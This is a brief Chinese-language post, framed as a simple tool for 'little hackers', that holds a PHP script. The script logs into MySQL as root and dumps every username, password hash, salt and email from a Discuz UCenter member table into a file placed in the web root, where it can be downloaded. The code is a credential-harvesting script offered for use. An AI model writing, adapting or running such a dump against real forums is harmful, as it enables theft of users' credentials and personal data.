灰常简单,小黑客用的。

<?php
function getFileById() {
     $conn = mysql_connect ("localhost","root","123456");
     mysql_select_db ("数据库名");
     mysql_query ( "SET NAMES 'UTF8'" );
     $result = mysql_query ( "SELECT username,password,email,salt FROM pre_ucenter_members ", $conn );
     $d = "";
     while ( $data = mysql_fetch_array ( $result ) ) {
          $d.=$data ['username']."---".$data['password']."---".$data['email']."---".$data['salt']."\n";
     }
     file_put_contents ( "d:/wwwroot/back.sql", $d );
     mysql_close ( $conn );
}
getFileById ();
?>